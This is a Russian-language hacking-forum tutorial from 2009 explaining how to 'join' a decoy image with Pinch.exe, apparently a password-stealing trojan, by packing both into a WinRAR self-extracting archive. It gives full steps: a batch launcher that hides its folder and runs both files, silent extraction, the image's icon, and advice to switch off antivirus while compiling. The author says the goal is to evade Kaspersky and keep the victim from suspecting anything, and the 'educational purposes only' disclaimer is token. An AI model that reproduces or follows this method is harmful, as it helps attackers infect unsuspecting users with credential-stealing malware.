Многие новички нынче часто просят, дайте непалевный джойнер, дайте к нему непалевный криптор... А джойнер имеется прямо под руками -- WinRAR называется, а конкретно, его сервис SFX.
Программы:WinRar (
http:\\www.rarlab.com) и Quick Bath File Compiler (
качаем тут)
Также понадобится картинка для файла в формате .ico
Небольшое предисловие.Джойнер[
не всякий конечно, но большинство] это, по сути, обычный архив, который разархивирует содержащиеся в нем файлы в какую-либо папку, обычно системную или временную, а затем все эти файлы запускает.
Представим, что у нас есть два файла, которые нужно склеить вместе - picture.jpg и Pinch.exe
Начать предлагаю с написания программы-стартера, который запускает остальные.
Для этого открываем программу Quick Bath File Compiler и пишем в ней следующие строки:
attrib "%userprofile%\sfx" +h +s
chdir "%userprofile%\sfx" & %HOMEDRIVE%
start Pinch.exe
start picture.jpg
Жмем Options, ставим там параметр Ghost Application.
Затем выбираем Build и сохраняем файл под именем start
Тут есть такой прикол, что при комплировании может заверещать антивирус (у мня, например аваст верещит)
Это нестрашно, просто на время компиляции его надо отключить.
Пояснения:
attrib "%userprofile%\sfx" +h +s
Эта строка скрывает от любопытных глаз папку, куда разархивируются файлы.
%userprofile% это папка профиля пользователя, вошедшего в систему, например:
C:\Documents and Settings\Administrator
chdir "%userprofile%\sfx" & %HOMEDRIVE%
Этой строкой переходим в папку распаковки
start Pinch.exe
start picture.jpg
Этими строками открываются разархивированные файлы.
//Следует не забывать ставить в начале и в конце путей двойные ковычки
//Имена файлов надо писать с расширением
Теперь приступим к созданию самого архива.
Щелкнем правой кнопкой по пустому месту и в контекстном меню выбераем
Создать a Архив WinRAR. Называем его также как и лицевой файл (У нас - picture).
Открываем архив и добавляем в него файлы и стартер (picture.jpg , Pinch.exe , start.exe).
Жмем в правом верхнем углу кнопку SFX.
Выбор действия: Добавить новый модуль SFX.
Выбор модуля: Default.SFX
Дополнительные параметры SFX
Общие
Путь для распаковки: "%userprofile%\sfx"
Выполнить после распаковки: start.exe
Режимы
Режим вывода: Скрыть все
Режим перезаписи: Перезаписывать
Текст и графика
Загрузить значок SFX из файла a Обзор:
Выбираем значок (как значок лицевого файла).
ОК.ОК.
Всё, после преобразования, в папке где был архив должен появится SFX.
Примечание по поводу того, что мол можно не парится и не писать файл-запускальщик, а пользовать встроеные возможности рара. Так вот, программа запускальщик имеет таких возможностей куда больше.(хотя в рамках этой статьи они и не используются)
И еще есть такой минус, что при использовании рaровского Setup , открытое окно становится неактивным. (это некрасиво и может навести ламера на какиенибуть плохие мысли)
ЗЫ Поскольку приложение создано программой WinRAR, никакой Касперский его в жизни не спалит (если конечно архивируемые файлы сами по себе не палятся).
Естественно, статья написана исключительно в ознакомительных целях.
Последнее обновление: 11/06/09
Копирование разрешается с оставлением копирайта.
By Viglim [23]
автору +1